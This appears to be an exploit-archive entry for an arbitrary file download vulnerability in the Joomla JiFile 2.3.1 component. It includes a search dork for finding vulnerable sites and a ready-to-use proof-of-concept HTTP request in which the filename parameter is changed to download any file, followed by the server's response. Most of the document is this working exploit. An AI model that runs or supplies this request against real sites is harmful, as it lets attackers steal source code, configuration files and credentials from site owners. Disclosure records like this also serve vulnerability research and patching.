Joomla! Component JiFile 2.3.1 - Arbitrary File Download

# Exploit Title: Joomla! Component JiFile 2.3.1 - Arbitrary File Download
# Exploit Author: Mr Winst0n
# Author E-mail: [email protected]
# Discovery Date: April 28, 2019
# Vendor Homepage: Estensioni Joomla Italiano Gratis | Framework PHP | isApp.it
# Software Link : https://extensions.joomla.org/extensions/extension/search-a-indexing/site-search/jifile/
# Dork: inurl:index.php?option=com_jifile
# Tested Version: 2.3.1
# Tested on: Kali linux, Windows 8.1​

# PoC:​

GET /web/index.php?option=com_jifile&task=filesystem.download&filename=index.php HTTP/1.1 <== YOUR FILE HERE
Host: TARGET
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: 7a9abe45881a5cc968ac0e7c857d8a72=6a377b3429e0b0c22c3abb8f3a078534
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1


HTTP/1.1 200 OK
Date: Sun, 28 Apr 2019 17:37:16 GMT
Server: Apache
Pragma: public
Cache-Control: must-revalidate, post-check=0, pre-check=0
Expires: 0
Content-Transfer-Encoding: binary
Content-Disposition: attachment; filename="index.php"; modification-date="1418190008"; size=1319;
Set-Cookie: c90ff18cda17f7cf5069ad1e830756c6=9a1f1c7e9bc241c66e7ad65ca0dd7624; path=/; secure
Content-Length: 1319
Connection: close
Content-Type: application/x-php

FILE_CONTENT​